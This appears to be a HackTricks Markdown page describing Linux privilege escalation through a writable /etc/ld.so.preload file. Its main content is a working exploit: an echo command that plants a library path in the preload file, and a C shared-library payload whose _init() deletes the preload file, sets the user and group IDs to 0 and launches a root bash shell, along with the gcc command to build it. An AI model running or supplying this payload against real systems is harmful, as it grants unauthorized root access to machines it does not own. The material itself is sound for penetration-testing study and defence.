48 lines
2.8 KiB
Markdown
48 lines
2.8 KiB
Markdown
|
# Write to Root
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
|
|
||
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
|
|
||
|
|
</details>
|
||
|
|
|
||
|
|
### /etc/ld.so.preload
|
||
|
|
|
||
|
|
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
|
||
|
|
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
|
||
|
|
|
||
|
|
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||
|
|
|
||
|
|
```c
|
||
|
|
#include <stdio.h>
|
||
|
|
#include <sys/types.h>
|
||
|
|
#include <stdlib.h>
|
||
|
|
|
||
|
|
void _init() {
|
||
|
|
unlink("/etc/ld.so.preload");
|
||
|
|
setgid(0);
|
||
|
|
setuid(0);
|
||
|
|
system("/bin/bash");
|
||
|
|
}
|
||
|
|
//cd /tmp
|
||
|
|
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||
|
|
```
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
|
|
||
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
|
|
||
|
|
</details>
|